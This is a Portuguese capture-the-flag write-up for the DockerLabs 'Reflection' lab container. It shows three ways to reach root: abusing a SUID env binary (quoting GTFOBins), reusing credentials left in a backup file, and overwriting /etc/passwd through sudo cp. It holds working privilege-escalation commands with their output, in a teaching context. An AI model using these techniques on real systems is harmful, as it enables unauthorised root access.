

MÁQUINA REFLECTION

Para utilizar esta máquina debemos primeiro baixar os arquivos e assim implantá-la com Docker.

Baixamos o arquivo da página <https://dockerlabs.es/>

Para implantar o laboratório executamos da seguinte forma, para que também possamos ver que ele nos diz a direção que teremos, bem como o que fazer quando terminarmos.

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es → 172.17.0.2

```
(root@soja)-[~/dockerlabs/maq.facil/maq.reflection]
# nmap 172.17.0.2 -A -sS -sC -sV -Pn -p- -T5

balu@1ab99507ef49:~$ whoami
balu
balu@1ab99507ef49:~$

```

Vamos procurar por privilégios:

sudo -l

não temos permissão para executar o comando.

```

balu@1ab99507ef49:~$ sudo -l
[sudo] password for balu:
Sorry, user balu may not run sudo on 1ab99507ef49.

```

Vamos usar o comando de **suid**.

find / -perm -4000 2>/dev/null

```
balu@1ab99507ef49:~$ find / -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/env
/usr/bin/su
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
```

Temos o arquivo env, então vamos para o site: <https://gtfobins.github.io/gtfobins/env/#sudo>

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which env) .
./env /bin/sh -p
```

| Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo env /bin/sh
```

Com o comando abaixo conseguimos o privilégio de root.

/usr/bin/env /bin/bash -p

```
balu@35de439e61e8:~$ /usr/bin/env /bin/bash -p
bash-5.2# whoami
root
bash-5.2#
```

somos root

R10

★★
★★
★★★★★★★★★★

UMA OUTRA OPÇÃO DE SER ROOT

Na pasta raíz do sistema temos um arquivo **secret.bak**, e nele temos um usuário e senha.

usuário: **balulito**

senha: **balulerochingon**

```
balu@35de439e61e8:~$ cd /
balu@35de439e61e8:/$ ls
bin  dev  home  lib64  mnt  proc  run  secret.bak  sys  usr
boot  etc  lib  media  opt  root  sbin  srv  tmp  var
balu@35de439e61e8:/$ cat secret.bak
balulito:balulerochingon
balu@35de439e61e8:/$
```

Vamos prosseguir e entrar nesse usuário e procurar por privilégios de root.

Veja que conseguimos entrar no usuário **balulito**,

procurar por privilégios com **suid**, com o comando a abaixo, e logo em seguida conseguimos acessar o usuário **root** novamente com **env**. site: <https://gtfobins.github.io/gtfobins/env/#sudo>

find / -perm -4000 2>/dev/null

```
balu@35de439e61e8:/$ su balulito
Password:
balulito@35de439e61e8:/$ whoami
balulito
balulito@35de439e61e8:/$ find / -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/env
/usr/bin/su
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
balulito@35de439e61e8:/$ /usr/bin/env /bin/bash -p
bash-5.2# whoami
root
bash-5.2#
```

★★
★★
★★★★★★★★★★★★

TERCEIRA OPÇÃO PARA SER ROOT.

Com o comando **sudo -l**:

Você tem permissão para rodar o comando **/bin/cp** como root sem precisar fornecer senha. Isso pode ser

usado para copiar arquivos ou substituir arquivos do sistema, ou que pode ser útil para escalar privilégios. Aqui está uma abordagem que você pode tentar escalar privilégios ou modificar arquivos críticos como **/etc/passwd** ou **/etc/shadow** :

Passo 1: Copiar arquivos críticos

Primeiro, copie os arquivos que você deseja editar para um local acessível, como o diretório **/tmp** .

Vamos copiar o arquivo **/etc/passwd** para a pasta **/tmp**.

```
balulito@35de439e61e8:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
balu:x:1000:1000:balu,,,:/home/balu:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
balulito:x:1001:1001:balulito,,,:/home/balulito:/bin/bash
balulito@35de439e61e8:/$
```

vamos editar o arquivo do usuário root
tirar o X, tirando o X vamos ter acesso
a root sem precisar de senha.

Passo 2:

Agora vamos copiar o arquivo e editar com **nano**.

```
GNU nano 7.2                                passwd *
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
balu:x:1000:1000:balu,,,:/home/balu:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
balulito:x:1001:1001:balulito,,,:/home/balulito:/bin/bash
```

veja que o X não esta mais.

Passo 3: Substituir os arquivos originais
Depois de editar os arquivos, substitua os arquivos originais com o comando **cp** (já que você pode usar esse comando como **root** sem precisar de senha).

sudo cp /tmp/passwd /etc/passwd

```

balulito@35de439e61e8:/etc$ sudo cp /tmp/passwd /etc/passwd
balulito@35de439e61e8:/etc$
balulito@35de439e61e8:/etc$ cat passwd
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
balu:x:1000:1000:balu,,,:/home/balu:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
balulito:x:1001:1001:balulito,,,:/home/balulito:/bin/bash
balulito@35de439e61e8:/etc$

```

sem o X

Passo 4: Testar o acesso

Agora, você pode tentar fazer login como **root** ou outro usuário que você tenha configurado.

Agora com o comando **su**, vamos ser **root**.

```

balulito@35de439e61e8:/etc$ su
root@35de439e61e8:/etc# whoami
root
root@35de439e61e8:/etc#

```

Somos root

R10
